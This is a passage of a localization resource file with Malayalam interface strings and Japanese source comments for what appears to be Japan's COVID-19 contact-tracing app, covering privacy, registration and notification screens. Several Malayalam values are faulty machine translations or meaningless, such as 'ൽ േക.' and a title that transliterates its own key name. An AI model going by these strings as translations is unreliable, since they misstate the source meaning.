<value>നിങ്ങള് ക്കു് എല്ലാ ഡാറ്റയും പുനഃക്രമീകരിക്കാന് ആഗ്രഹിക്കുന്നുണ്ടോ?</value>
</data>
<data name="SettingsPageDialogResetTitle" xml:space="preserve">
<value>എല്ലാ ഡാറ്റയും മായ്ക്കുക</value>
</data>
<data name="SettingsPageDialogResetCompletedText" xml:space="preserve">
<value>എല്ലാ സജ്ജീകരണങ്ങളും ഡാറ്റയും ഇല്ലാതാക്കിയിട്ടുണ്ട്. ആപ്ലിക്കേഷൻ പുനരാരംഭിക്കുക.</value>
</data>
<data name="ButtonReturnToRegistration" xml:space="preserve">
<value>രജിസ്ട്രേഷന് തിരികെ നല് കൂ</value>
</data>
<data name="PositiveRegistrationText" xml:space="preserve">
<value>പോസിറ്റീവ് രജിസ്ട്രേഷൻ</value>
</data>
<data name="PositiveRegistrationConfirmText" xml:space="preserve">
<value>പിന്നീട് പോസിറ്റീവായി രജിസ്റ്റർ ചെയ്യാൻ നിങ്ങൾ ആഗ്രഹിക്കുന്നു?</value>
</data>
<data name="HomePageHeader2Description" xml:space="preserve">
<value>പുതിയ കൊറോണ നിങ്ങൾക്ക് പോസിറ്റീവാണെങ്കിൽ, ചുറ്റുമുള്ള ആളുകളെ പരിരക്ഷിക്കുന്നതിന് പോസിറ്റീവ് രജിസ്ട്രേഷനുമായി സഹകരിക്കുക.</value>
<comment>周りの人達を守るために匿名での陽性登録へのご協力をお願いいたします。</comment>
</data>
<data name="HomePageHeader3Description" xml:space="preserve">
<value>അനവധി ആളുകൾ ഇൻസ്റ്റാൾ ചെയ്യുന്നതിന് ഈ ആപ്ലിക്കേഷൻ വളരെ ഫലപ്രദമാണ്, അതിനാൽ നിങ്ങളുടെ ചുറ്റുമുള്ള ആളുകളോടൊപ്പം ആപ്ലിക്കേഷൻ പങ്കിടുക.</value>
<comment>本アプリは多くの方にお使いいただくほど効果を発揮します。</comment>
</data>
<data name="HelpMenuPageTitle" xml:space="preserve">
<value>ഉപയോഗിക്കേണ്ട വിധം</value>
<comment>使い方</comment>
</data>
<data name="HelpPage1Title" xml:space="preserve">
<value>ടെര് മിനല് തിരിച്ചറിയല്</value>
<comment>接触の記録方法</comment>
</data>
<data name="HelpPage2Title" xml:space="preserve">
<value>സമ്പർക്ക സ്ഥിരീകരണ രീതി</value>
<comment>接触の確認方法</comment>
</data>
<data name="HelpPage3Title" xml:space="preserve">
<value>അണുബാധയുണ്ടാകുമെന്ന് നിർണ്ണയിച്ചാൽ</value>
<comment>感染していると判定されたら</comment>
</data>
<data name="HelpPage4Title" xml:space="preserve">
<value>റെക്കോർഡിംഗ് നിർത്തുക/ഇല്ലാതാക്കുക</value>
<comment>記録の停止/削除</comment>
</data>
<data name="HelpPage1Description1Text" xml:space="preserve">
<value>നിങ്ങൾ ഈ ആപ്ലിക്കേഷൻ പ്രവർത്തിപ്പിക്കുമ്പോൾ, ഓരോ സ്മാർട്ട് ഫോണും ജനറേറ്റ് ചെയ്യുകയും സമ്പർക്ക കോഡ് നടത്തുകയും ചെയ്യും. കൂടാതെ, ടെലിഫോൺ നമ്പറും ലൊക്കേഷൻ വിവരങ്ങളും പോലുള്ള വ്യക്തിഗത വിവരങ്ങളുമായി ബന്ധപ്പെട്ട വിവരങ്ങളൊന്നും ഈ ആപ്പ് നേടിയില്ല.</value>
<comment>アプリを実行した際に、各スマートフォンで接触符号を生成して持ちます。氏名・電話番号などの個人情報やGPSなどスマートフォンの位置情報を使うことはなく、記録されることもありません。</comment>
</data>
<data name="HelpPage1Description2Title" xml:space="preserve">
<value>കോൺടാക്റ്റ് രേഖപ്പെടുത്തിയിരിക്കുന്ന നിബന്ധനകൾ</value>
<comment>記録される接触の条件</comment>
</data>
<data name="HelpPage1Description2Text" xml:space="preserve">
<value>15 മിനിറ്റോ അതിലധികമോ 1 മീറ്ററിനുള്ളിൽ മറ്റ് ആപ്ലിക്കേഷൻ ഉപയോക്താക്കളുമായുള്ള സമ്പർക്കം "സമ്പർക്കം" എന്ന് രേഖപ്പെടുത്തുന്നു.</value>
<comment>1メートル以内、15分以上の他のアプリユーザーとの接触は「接触」として記録されます。</comment>
</data>
<data name="HelpPage1Description3Title" xml:space="preserve">
<value>സമ്പർക്ക വിവരങ്ങൾ രേഖപ്പെടുത്തൽ</value>
<comment>接触情報の記録 </comment>
</data>
<data name="HelpPage1Description3Text" xml:space="preserve">
<value>ഈ സമയത്ത് ബന്ധപ്പെടേണ്ട ആളുടെ കോണ്ടാക്ട് കോഡ് ആപ്ലിക്കേഷനില് രേഖപ്പെടുത്തിയിട്ടുണ്ട്. ഒന്നുകിൽ ഉപയോക്താവ് പോസിറ്റീവ് ആയി രജിസ്റ്റർ ചെയ്യുന്നത് വരെ സമ്പർക്ക വിവരങ്ങൾ ഉപയോഗിക്കില്ല. സമ്പർക്ക ചരിത്രം 14 ദിവസത്തിനു ശേഷം അഴിയെണ്ണും. * കോൺടാക്റ്റ് കോഡ് പതിവായി മാറുന്നു.</value>
<comment>このとき、接触した相手の接触符号の記録をアプリに行います。どちらかの利用者が陽性の登録を行うまでは接触の情報は利用されません。接触の履歴は14日後に消去されます。 ※接触符号は定期的に変わります。</comment>
</data>
<data name="HelpPage4ButtonText" xml:space="preserve">
<value>ആപ്ലിക്കേഷൻ സജ്ജീകരണങ്ങളിലേക്ക് പോവുക</value>
<comment>アプリの設定へ</comment>
</data>
<data name="HelpPage4Description" xml:space="preserve">
<value>ആപ്പ് സജ്ജീകരണങ്ങളിൽ നിന്ന്, നിങ്ങൾക്ക് Bluetooth-ഉം അറിയിപ്പുകളും പ്രാപ്തമാക്കാം/അപ്രാപ്തമാക്കാം, ആപ്പ് ഉപയോഗിക്കുന്നത് നിർത്തുകയും ക്ലോസ് കോൺടാക്റ്റ് ചരിത്രം ഇല്ലാതാക്കുകയും ചെയ്യാം.</value>
<comment>アプリの設定からアプリの使用中止とユーザー情報の削除を行うことができます。</comment>
</data>
<data name="HelpPage2Description1" xml:space="preserve">
<value>COVID-19 പോസിറ്റീവ് ഉപയോക്താവുമായി നിങ്ങൾ അടുത്ത ബന്ധമുണ്ടെങ്കിൽ, ഈ ആപ്പ് നിങ്ങളെ അറിയിക്കും.</value>
<comment>接触した人の中に新型コロナウイルスの陽性登録された人がいた場合、スマートフォンにプッシュ通知が届きます。</comment>
</data>
<data name="HelpPage2Description2" xml:space="preserve">
<value>ഹോം സ്ക്രീനിൽ നിന്ന് നിങ്ങളുടെ ക്ലോസ് സമ്പർക്കങ്ങളുടെ എണ്ണം നിങ്ങൾക്ക് പരിശോധിക്കാവുന്നതാണ്.</value>
<comment>最近の接触件数の確認へはホーム画面からも移動することができます。</comment>
</data>
<data name="HelpPage2Description3" xml:space="preserve">
<value>നിങ്ങൾക്ക് അടുത്ത സമ്പർക്ക തീയതികളുടെ ലിസ്റ്റ് പരിശോധിക്കാം, രോഗത്തിന്റെ ലക്ഷണങ്ങൾ ഉണ്ടെങ്കിൽ എന്ത് ചെയ്യണമെന്നതിനെ കുറിച്ചുള്ള മാർഗ്ഗനിർദ്ദേശം നിങ്ങൾക്ക് ലഭിക്കും.</value>
<comment>接触があった日付の一覧を確認できます。また適切な連絡先をお知らせします。</comment>
</data>
<data name="HelpPage2Label1" xml:space="preserve">
<value>അറിയിപ്പ്</value>
<comment>通知</comment>
</data>
<data name="HelpPage2Label2" xml:space="preserve">
<value>ഹോം</value>
<comment>ホーム画面</comment>
</data>
<data name="HelpPage2Label3" xml:space="preserve">
<value>നിങ്ങൾക്ക് COVID-19 പോസിറ്റീവ് ഉപയോക്താവുമായി അടുത്ത ബന്ധം ഉണ്ടെങ്കിൽ</value>
<comment>陽性者との接触があった場合</comment>
</data>
<data name="HelpPage3Description1" xml:space="preserve">
<value>നിങ്ങൾ പോസിറ്റീവ് ടെസ്റ്റ് ചെയ്തിട്ടുണ്ടെങ്കിൽ</value>
<comment>検査により新型コロナウイルスの感染が確認された場合。</comment>
</data>
<data name="HelpPage3Description2" xml:space="preserve">
<value>പബ്ലിക് ഹെൽത്ത് അധികൃതർ നിങ്ങൾക്ക് ഒരു "പ്രോസസ്സിംഗ് നമ്പർ" നൽകും.</value>
<comment>保健所等公的機関から登録用の「処理番号」が発行されます。</comment>
</data>
<data name="HelpPage3Description3" xml:space="preserve">
<value>ഈ ആപ്പിൽ നൽകിയിരിക്കുന്ന പ്രോസസ്സിംഗ് നമ്പർ നൽകിക്കൊണ്ട് രജിസ്റ്റർ ചെയ്യുക</value>
<comment>本アプリを用いて処理番号の登録を行います。</comment>
</data>
<data name="HelpPage3Description4" xml:space="preserve">
<value>കഴിഞ്ഞ 14 ദിവസത്തിനുള്ളിൽ നിങ്ങളുടെ സ്മാർട്ട്ഫോണുമായി അടുത്ത ബന്ധം പുലർത്തുന്ന സ്മാർട്ട്ഫോണുകൾക്ക് അറിയിപ്പുകൾ ലഭിക്കും.</value>
<comment>あなたと14日以内に接触した人のスマホアプリに通知が届きます。(1m以内、15分以上)</comment>
</data>
<data name="HelpPage3Description5" xml:space="preserve">
<value>അറിയിപ്പുകൾ അയയ്ക്കുമ്പോൾ ഉപകരണത്തിൽ നിന്ന് യാദൃച്ഛികമായി ജനറേറ്റുചെയ്ത കോഡുകൾ മാത്രമേ ഉപയോഗിക്കാറുള്ളൂ. സ്വകാര്യ വിവരങ്ങളൊന്നും ഉപയോഗിക്കുന്നില്ല.</value>
<comment>通知される情報は端末の接触符号のみです。それ以外の、氏名など個人情報や位置情報が送られることはありません。</comment>
</data>
<data name="HelpPage3Description6" xml:space="preserve">
<value>പോസിറ്റീവ് ടെസ്റ്റ് ചെയ്യുമ്പോൾ ഇവിടെ രജിസ്റ്റർ ചെയ്യുക</value>
<comment>陽性情報の登録と他者への匿名通知へ</comment>
</data>
<data name="SettingsPageButton1" xml:space="preserve">
<value>ലൈസന്സ്</value>
<comment>ライセンス…</comment>
</data>
<data name="SettingsPageLabel1" xml:space="preserve">
<value>സമ്പർക്ക റെക്കോർഡിംഗ് അടയ്ക്കുക</value>
<comment>接触の検出</comment>
</data>
<data name="SettingsPageDescription1" xml:space="preserve">
<value>Bluetooth-ന്റെ ഉപയോഗം</value>
<comment>Bluetoothによる接触の検知</comment>
</data>
<data name="SettingsPageLabel2" xml:space="preserve">
<value>അറിയിപ്പുകൾ</value>
<comment>通知</comment>
</data>
<data name="SettingsPageDescription2" xml:space="preserve">
<value>സമ്പർക്ക അറിയിപ്പുകൾ അടയ്ക്കുക</value>
<comment>陽性者との接触通知</comment>
</data>
<data name="SettingsPageLabel3" xml:space="preserve">
<value>ആപ്പ് ഉപയോഗിക്കുന്നത് നിർത്തുക</value>
<comment>アプリの使用中止</comment>
</data>
<data name="SettingsPageDescription3" xml:space="preserve">
<value>ക്ലോസ് കോൺടാക്റ്റ് റെക്കോർഡുകൾ ഉപയോഗിക്കുന്നത് നിർത്തുകയും ഇല്ലാതാക്കുകയും ചെയ്യുക</value>
<comment>使用を中止して過去14日間の接触履歴を消去</comment>
</data>
<data name="HelpMenuPageLabel1" xml:space="preserve">
<value>എന്താണ് 'അടുത്ത സമ്പർക്കം'?</value>
<comment>どのようにして接触を記録していますか?</comment>
</data>
<data name="HelpMenuPageLabel2" xml:space="preserve">
<value>ക്ലോസ് സമ്പർക്കങ്ങളുടെ എണ്ണം ഞാൻ എങ്ങനെ പരിശോധിക്കും?</value>
<comment>接触の有無はどのように知ることができますか?</comment>
</data>
<data name="HelpMenuPageLabel3" xml:space="preserve">
<value>COVID-19-നായി നിങ്ങൾ പോസിറ്റീവ് ടെസ്റ്റ് ചെയ്യുകയാണെങ്കിൽ</value>
<comment>新型コロナウイルスに感染していると判定されたら</comment>
</data>
<data name="HelpMenuPageLabel4" xml:space="preserve">
<value>ക്ലോസ് കോൺടാക്റ്റ് റെക്കോർഡിംഗ് ഞാൻ എങ്ങനെ യാണ് നിർത്തുക / ഇല്ലാതാക്കുക?</value>
<comment>接触の記録を停止/情報を削除するには</comment>
</data>
<data name="NotContactPageTitle" xml:space="preserve">
<value>കഴിഞ്ഞ 14 ദിവസത്തേക്ക് സമ്പർക്കങ്ങൾ അടയ്ക്കുക</value>
<comment>過去14日間の接触</comment>
</data>
<data name="NotContactPageLabel1" xml:space="preserve">
<value>COVID-19 പോസിറ്റീവ് ഉപയോക്താക്കളുമായി അടുത്ത ബന്ധമൊന്നുമില്ല</value>
<comment>陽性者との接触は確認されませんでした</comment>
</data>
<data name="NotContactPageDescription1" xml:space="preserve">
<value>സർക്കാർ ശുപാർശ ചെയ്യുന്ന 'പുതിയ ജീവിതശൈലി' പ്രാക്ടീസ് തുടരുക.</value>
<comment>引き続き「新しい生活様式」の実践をよろしくお願いいたします。</comment>
</data>
<data name="NotContactPageButtonText" xml:space="preserve">
<value>ഈ ആപ്ലിക്കേഷൻ പങ്കിടുക</value>
<comment>アプリを周りの人に知らせる</comment>
</data>
<data name="ThankYouNotifyOtherPageLabel1" xml:space="preserve">
<value>നിങ്ങളുടെ ടെസ്റ്റ് ഫലങ്ങൾ രജിസ്റ്റർ ചെയ്തതിന് നന്ദി!</value>
<comment>陽性のご登録をいただきありがとうございました</comment>
</data>
<data name="ThankYouNotifyOtherPageDescription1" xml:space="preserve">
<value>രജിസ്ട്രേഷൻ അജ്ഞാതമാണ്. നിങ്ങളുടെ പേരോ മറ്റേതെങ്കിലും വ്യക്തിഗത വിവരങ്ങളോ നിങ്ങൾ നൽകേണ്ടതില്ല. അടുത്ത സമ്പർക്കത്തിന്റെ സ്ഥാനം സംബന്ധിച്ച വിവരങ്ങൾ രേഖപ്പെടുത്തിയിട്ടില്ല.</value>
<comment>登録は匿名で行われ、氏名や連絡先など個人が特定される情報を登録する必要はありません。また、接触した場所の位置情報が記録や通知されることもありません。</comment>
</data>
<data name="TutorialPage3Title" xml:space="preserve">
<value>ഉപയോഗ നിബന്ധകള്</value>
<comment>利用規約</comment>
</data>
<data name="TutorialPage3ButtonText" xml:space="preserve">
<value>ഉപയോഗ വ്യവസ്ഥകൾ ഞാൻ അംഗീകരിക്കുന്നു</value>
<comment>規約に同意して次へ</comment>
</data>
<data name="TutorialPage6Label1" xml:space="preserve">
<value>സജ്ജീകരണം പൂർത്തിയായി. നന്ദി!</value>
<comment>ご登録いただきありがとうございました</comment>
</data>
<data name="TutorialPage6ButtonText1" xml:space="preserve">
<value>ഹോം</value>
<comment>ホーム画面へ</comment>
</data>
<data name="TutorialPage6ButtonText2" xml:space="preserve">
<value>ഈ ആപ്പ് ഉപയോഗിക്കുന്നത് എങ്ങനെ</value>
<comment>使い方を学ぶ</comment>
</data>
<data name="HelpPage1MainTitle" xml:space="preserve">
<value>ഉപകരണ തിരിച്ചറിയൽ</value>
<comment>端末の識別</comment>
</data>
<data name="ContactedNotifyPageButton1" xml:space="preserve">
<value>COVID-19 പോസിറ്റീവ് ഉപയോക്താക്കളുമായി അടുത്ത സമ്പർക്കങ്ങളുടെ ഒരു പട്ടിക</value>
<comment>陽性者との接触一覧</comment>
</data>
<data name="ContactedNotifyPageButton2" xml:space="preserve">
<value>നിങ്ങളുടെ രോഗലക്ഷണങ്ങൾ പൂരിപ്പിക്കുക</value>
<comment>症状を入力</comment>
</data>
<data name="ContactedNotifyPageButton3" xml:space="preserve">
<value>നിങ്ങളുടെ രോഗലക്ഷണങ്ങൾ ഫോൺ കൺസൾട്ടേഷൻ സെന്റർ വഴി പറയുക</value>
<comment>帰国者・接触者外来に電話</comment>
</data>
<data name="ContactedNotifyPageCountText" xml:space="preserve">
<value>സമയം</value>
<comment>件</comment>
</data>
<data name="ContactedNotifyPageDescription1" xml:space="preserve">
<value>നിങ്ങൾക്ക് സാധ്യമായ COVID-19 രോഗലക്ഷണങ്ങൾ ഉണ്ടെങ്കിൽ, താഴെ യുള്ള ഫോം ഉപയോഗിച്ചോ ഫോൺ മുഖേനയോ ഹെൽത്ത് കെയർ സ്ഥാപനങ്ങളുമായി ബന്ധപ്പെടുക. രോഗലക്ഷണങ്ങളെ അടിസ്ഥാനമാക്കി, COVID-19 ടെസ്റ്റ് എടുക്കാൻ നിങ്ങളോട് നിർദ്ദേശിക്കും.</value>
<comment>現在の症状などを、入力フォームまたはお電話にて、ご連絡ください。内容に応じて、帰国者・接触者外来等への受診を案内します。</comment>
</data>
<data name="ContactedNotifyPageDescription2" xml:space="preserve">
<value>ഈ സ്ക്രീനിന്റെ ഒരു സ്ക്രീൻഷോട്ട് എടുക്കുക. രോഗനിർണ്ണയ വേളയിൽ അത് നൽകാൻ നിങ്ങളോട് ആവശ്യപ്പെട്ടേക്കാം.</value>
<comment>受診の際などに必要となる場合があるため、本画面のスクリーンショットの保存をお願いいたします。</comment>
</data>
<data name="ContactedNotifyPageMainText" xml:space="preserve">
<value>COVID-19 പോസിറ്റീവ് ഉപയോക്താക്കളുമായി സ്ഥിരീകരിച്ച ക്ലോസ് സമ്പർക്കങ്ങളുടെ എണ്ണം</value>
<comment>陽性者との接触確認</comment>
</data>
<data name="ContactedNotifyPageTitle" xml:space="preserve">
<value>കഴിഞ്ഞ 14 ദിവസത്തേക്ക് സമ്പർക്കങ്ങൾ അടയ്ക്കുക</value>
<comment>過去14日間の接触</comment>
</data>
<data name="InqueryPageDescription1" xml:space="preserve">
<value>9:00-17:30 (വാരാന്ത്യങ്ങളും അവധിദിവസങ്ങളും ഒഴികെ)</value>
<comment>9:00~17:30(土・日・祝日・年末年始を除く)</comment>
</data>
<data name="InqueryPageDescription2" xml:space="preserve">
<value>COVID-19 വിവരവും വിഭവങ്ങളും</value>
<comment>新型コロナウイルス感染症対策サイト</comment>
</data>
<data name="InqueryPageTitle" xml:space="preserve">
<value>പിന്തുണ</value>
<comment>アプリに関するお問い合わせ</comment>
</data>
<data name="HomePageDescription1" xml:space="preserve">
<value>ൽ േക.</value>
<comment>使用中</comment>
</data>
<data name="HomePageDescription2" xml:space="preserve">
<value>അടുത്ത സമ്പർക്കങ്ങൾ പരിശോധിക്കുക</value>
<comment>陽性者との接触を確認する(14日間)</comment>
</data>
<data name="HomePageDescription3" xml:space="preserve">
<value>COVID-19-നായി പോസിറ്റീവ് ടെസ്റ്റ് ചെയ്യുമ്പോൾ</value>
<comment>新型コロナウイルス陽性と診断されたら</comment>
</data>
<data name="HomePageDescription4" xml:space="preserve">
<value>പോസിറ്റീവ് ടെസ്റ്റ് ഫലം രജിസ്റ്റർ ചെയ്യുക</value>
<comment>陽性情報の登録</comment>
</data>
<data name="HomePageDescription5" xml:space="preserve">
<value>ഈ ആപ്ലിക്കേഷൻ പങ്കിടുക</value>
<comment>アプリを周りの人に知らせる</comment>
</data>
<data name="HomePageTitle1" xml:space="preserve">
<value>ഹോം</value>
<comment>ホーム</comment>
</data>
<data name="TermsofservicePageTitle" xml:space="preserve">
<value>ഉപയോഗ കാലാവധി</value>
<comment>利用規約</comment>
</data>
<data name="TutorialPage2Description1" xml:space="preserve">
<value>നിങ്ങളുടെ സ്വകാര്യത പരിരക്ഷിക്കപ്പെട്ടിരിക്കുന്നു</value>
<comment>プライバシーについて</comment>
</data>
<data name="TutorialPage2Description2" xml:space="preserve">
<value>നിങ്ങളുടെ പേരോ ഫോൺ നമ്പറോ പോലുള്ള വ്യക്തിഗത വിവരങ്ങൾ ശേഖരിക്കില്ല. ജിപിഎസ് ഡാറ്റ ഉൾപ്പെടെ ജിയോലൊക്കേഷൻ ഡാറ്റ യൊന്നും ശേഖരിക്കില്ല.</value>
<comment>氏名・電話番号などの個人情報や、GPSなどスマートフォンの位置情報を使うことはなく、記録されることもありません。</comment>
</data>
<data name="TutorialPage2Description3" xml:space="preserve">
<value>എല്ലാ ഡാറ്റയും എൻക്രിപ്റ്റ് ചെയ്ത് പ്രാദേശികമായി നിങ്ങളുടെ സ്മാർട്ട് ഫോണിൽ സംരക്ഷിച്ചിരിക്കുന്നു. 14 ദിവസത്തിന് ശേഷം എല്ലാ ഡാറ്റയും സ്വയമേവ ഇല്ലാതാക്കപ്പെടുന്നു. നിങ്ങളുടെ നീക്കങ്ങൾ സർക്കാർ ഏജൻസികളോ മൂന്നാം കക്ഷികളോ ഒരു തരത്തിലും ട്രാക്കുചെയ്യുന്നില്ല.</value>
<comment>接触の記録は、暗号化され、あなたのスマートフォンの中にのみ記録され、14日後に自動的に削除されます。行政機関や第三者が暗号化された情報を利用して接触歴を把握することはありません。</comment>
</data>
<data name="TutorialPage2Description4" xml:space="preserve">
<value>ആപ്പ് ക്രമീകരണം മാറ്റുകയോ ആപ്പ് ഇല്ലാതാക്കുകയോ വഴി ഏത് സമയത്തും മറ്റ് ഉപയോക്താക്കളുമായി ക്ലോസ് സമ്പർക്കങ്ങൾ റെക്കോർഡ് ചെയ്യുന്നത് നിങ്ങൾക്ക് അവസാനിപ്പിക്കാവുന്നതാണ്.</value>
<comment>接触の記録はいつでも止めることができます。アプリ内の設定を無効にするか、アプリを削除してください。</comment>
</data>
<data name="TutorialPage2Description5" xml:space="preserve">
<value>ഉപയോഗ നിബന്ധകള്</value>
<comment>利用規約へ</comment>
</data>
<data name="TutorialPage2Title" xml:space="preserve">
<value>ട്യൂട്ടോറിയൽപേജ്2വിവരണം1</value>
<comment>プライバシーについて</comment>
</data>
<data name="TutorialPage5Description1" xml:space="preserve">
<value>അറിയിപ്പുകൾ ഓൺ ചെയ്യുക</value>
<comment>通知をご利用いただくために</comment>
</data>
<data name="TutorialPage5Description2" xml:space="preserve">
<value>COVID-19 പോസിറ്റീവ് ഉപയോക്താക്കളുമായി നിങ്ങൾക്ക് അടുത്ത സമ്പർക്കങ്ങൾ ഉണ്ടായപ്പോൾ അറിയിക്കാൻ അറിയിപ്പുകൾ ഓണാക്കുക.</value>
<comment>本アプリで接触の通知をご利用いただくために、本アプリのプッシュ通知を有効にしてください。</comment>
</data>
<data name="TutorialPage5Description3" xml:space="preserve">
<value>ഓൺ ചെയ്യുക</value>
<comment>有効にする</comment>
</data>
<data name="TutorialPage5Description4" xml:space="preserve">
<value>പിന്നീട് സജ്ജീകരിക്കൂ</value>
<comment>あとで設定する</comment>
</data>
<data name="TutorialPage5Title" xml:space="preserve">
<value>അറിയിപ്പുകൾ ഉപയോഗിക്കുന്നതിന്</value>
<comment>通知をご利用いただくために</comment>
</data>
<data name="MenuPageTitle" xml:space="preserve">
<value>മെനു</value>
<comment>メニュー</comment>
</data>
<data name="NotifyOtherPageButton" xml:space="preserve">
<value>രജിസ്റ്റർ ചെയ്യുക</value>
<comment>登録する</comment>
</data>
<data name="NotifyOtherPageDescription1" xml:space="preserve">
<value>"COVID-19 -ലെ (HER-SYS) എന്ന തിൽ ഹെൽത്ത് സെന്റർ തത്സമയ വിവര-പങ്കിടൽ സിസ്റ്റം" എന്ന പേരിൽ നിങ്ങൾക്ക് ഇഷ്യൂ ചെയ്ത ഒരു പ്രോസസ്സ് കോഡ് നൽകുക.</value>
<comment>Healthcare Authority Validation Codeを入力してください。</comment>
</data>
<data name="NotifyOtherPageDescription2" xml:space="preserve">
<value>കഴിഞ്ഞ 14 ദിവസത്തിനുള്ളിൽ നിങ്ങളുമായി അടുത്ത ബന്ധം പുലർത്തുന്ന ഉപയോക്താക്കളെ അറിയിക്കും. രജിസ്ട്രേഷൻ അജ്ഞാതമാണ്. നിങ്ങളുടെ പേരോ മറ്റേതെങ്കിലും വ്യക്തിഗത വിവരങ്ങളോ നിങ്ങൾ നൽകേണ്ടതില്ല. അടുത്ത സമ്പർക്കത്തിന്റെ സ്ഥാനം സംബന്ധിച്ച വിവരങ്ങൾ രേഖപ്പെടുത്തിയിട്ടില്ല.</value>
<comment>過去14日間に本アプリであなたと接触した履歴のある人に通知が行きます。登録は匿名で行われ、氏名や連絡先など個人が特定される情報を登録する必要はありません。また、接触した場所の位置情報が記録や通知されることもありません。</comment>
</data>
<data name="NotifyOtherPageLabel" xml:space="preserve">
<value>ഒരു പ്രോസസ്സ് കോഡ് സ്വീകരിക്കുന്നത് എങ്ങനെ</value>
<comment>処理番号の取得方法</comment>
</data>
<data name="NotifyOtherPageTitle" xml:space="preserve">
<value>പോസിറ്റീവ് ടെസ്റ്റ് ഫലം രജിസ്റ്റർ ചെയ്യുക</value>
<comment>陽性情報の登録</comment>
</data>
<data name="TutorialPage1Button" xml:space="preserve">
<value>അടുത്തത്</value>
<comment>次へ</comment>
</data>
<data name="TutorialPage1Description1" xml:space="preserve">
<value>ഈ ആപ്പ് പ്രവർത്തിക്കുന്ന സ്മാർട്ട്ഫോണുകൾതമ്മിലുള്ള അടുത്ത സമ്പർക്കങ്ങൾ ആപ്പ് തിരിച്ചറിയുന്നു.</value>
<comment>本アプリをスマートフォンに設定した人どうしの接触を記録します。</comment>
</data>
<data name="TutorialPage1Description2" xml:space="preserve">
<value>COVID-19-നായി പോസിറ്റീവ് ടെസ്റ്റ് ചെയ്യുമ്പോൾ, ഈ ആപ്പിൽ നിങ്ങൾക്ക് അജ്ഞാതമായി ടെസ്റ്റ് ഫലം രജിസ്റ്റർ ചെയ്യാവുന്നതാണ്.</value>
<comment>新型コロナウイルスに陽性と判定されたら本アプリに匿名で登録することができます。</comment>
</data>
<data name="TutorialPage1Description3" xml:space="preserve">
<value>പോസിറ്റീവ് ടെസ്റ്റ് ചെയ്ത ഒരു ഉപയോക്താവുമായി നിങ്ങൾ അടുത്ത സമ്പർക്കത്തിൽ ആണെങ്കിൽ, സംഭവ്യമായ അണുബാധയെ ആപ്പ് നിങ്ങളെ അറിയിക്കുകയും നിങ്ങളുടെ ആരോഗ്യം പരിരക്ഷിക്കുന്നതിനുള്ള മാർഗ്ഗനിർദ്ദേശങ്ങൾ നൽകുകയും ചെയ്യുന്നു.</value>
<comment>最近接触した人の中に陽性登録した人がいたら、通知と適切な行動をお知らせします。</comment>
</data>
<data name="TutorialPage1Title1" xml:space="preserve">
<value>ആപ്പ് ഉപയോഗിച്ച് സ്വയം പരിരക്ഷിക്കുക</value>
<comment>このアプリでできること</comment>
</data>
<data name="TutorialPage1Title2" xml:space="preserve">
<value>ആപ്പ് ഉപയോഗിച്ച് സ്വയം പരിരക്ഷിക്കുക</value>
<comment>このアプリでできること</comment>
</data>
<data name="TutorialPage4Button1" xml:space="preserve">
<value>ഓൺ ചെയ്യുക</value>
<comment>有効にする</comment>
</data>
<data name="TutorialPage4Button2" xml:space="preserve">
<value>പിന്നീട് സജ്ജീകരിക്കൂ</value>
<comment>あとで設定する</comment>
</data>
<data name="TutorialPage4Description" xml:space="preserve">
<value>മറ്റ് ഉപയോക്താക്കളുമായി അടുത്ത സമ്പർക്കങ്ങൾ റെക്കോർഡ് ചെയ്യാൻ ആരംഭിക്കുന്നതിന് Bluetooth ഓണാക്കുക.</value>
<comment>本アプリで接触検知をご利用いただくために、スマートフォンのBluetooth通信を有効にしてください。</comment>
</data>
<data name="TutorialPage4Label" xml:space="preserve">
<value>കൂടുതൽ കണ്ടെത്തൂ</value>
<comment>技術的な詳細について</comment>
</data>
<data name="TutorialPage4Title1" xml:space="preserve">
<value>Bluetooth ഓണാക്കുക</value>
<comment>接触検知をご利用いただくために</comment>
</data>
<data name="TutorialPage4Title2" xml:space="preserve">
<value>Bluetooth ഓണാക്കുക</value>
<comment>接触検知をご利用いただくために</comment>
</data>
<data name="HomePageDescription0" xml:space="preserve">
<value>~</value>
<comment>から</comment>
</data>
<data name="NotifyOtherPageLabel2" xml:space="preserve">
<value>ഒരു 8 അക്ക കോഡ് നൽകുക</value>
<comment>8桁の処理番号を入力してください</comment>
</data>
<data name="SubmitConsentPageDescription1" xml:space="preserve">
<value>പുതിയ കൊറോണവൈറസ് സാംക്രമിക രോഗ വിവര- മാനേജ് മെന്റ് സിസ്റ്റത്തിൽ രജിസ്റ്റർ ചെയ്തിട്ടുള്ള നിങ്ങളുടെ മൊബൈൽ ഫോൺ നമ്പറിലേക്കോ ഇ-മെയിൽ വിലാസത്തിലേക്കോ (ഇനിപ്പിന്നെ "മാനേജ് മെന്റ് സിസ്റ്റം" എന്ന പ്രോസസ്സിംഗ് നമ്പർ അറിയിക്കും.</value>
<comment>新型コロナウイルス感染症等情報把握・管理システム(以下「管理システム」)に登録されたあなたの携帯電話番号又はメールアドレスに、処理番号が通知されます。</comment>
</data>
<data name="SubmitConsentPageDescription2" xml:space="preserve">
<value>ടെർമിനലിലേക്ക് നിങ്ങൾ ഈ പ്രോസസ്സിംഗ് നമ്പർ നൽകുമ്പോൾ, പ്രോസസ്സിംഗ് നമ്പർ നിങ്ങൾക്ക് ഇഷ്യൂ ചെയ്തിട്ടുണ്ടോ എന്ന് മാനേജ് മെന്റ് സിസ്റ്റത്തിലേക്ക് അറിയിപ്പ് സെർവർ വഴി ടെർമിനൽ ഒരു അന്വേഷണം നടത്തും.</value>
<comment>あなたがこの処理番号を端末に入力することにより、端末から通知サーバーを経由して管理システムに対し、処理番号があなたに対して発行されたものか否かの照会が行われます。</comment>
</data>
<data name="SubmitConsentPageDescription3" xml:space="preserve">
<value>നിങ്ങൾ സൂചിപ്പിച്ച ട്രാൻസാക്ഷൻ നമ്പർ നിങ്ങൾക്ക് നൽകിയിട്ടുണ്ടോ എന്ന് അറിയിപ്പ് സെർവറിനോട് മാനേജ് മെന്റ് സിസ്റ്റം പ്രതികരിക്കും.</value>
<comment>管理システムは、通知サーバーに対し、照会された処理番号があなたに対して発行されたものか否かについて回答します。</comment>
</data>
<data name="SubmitConsentPageDescription4" xml:space="preserve">
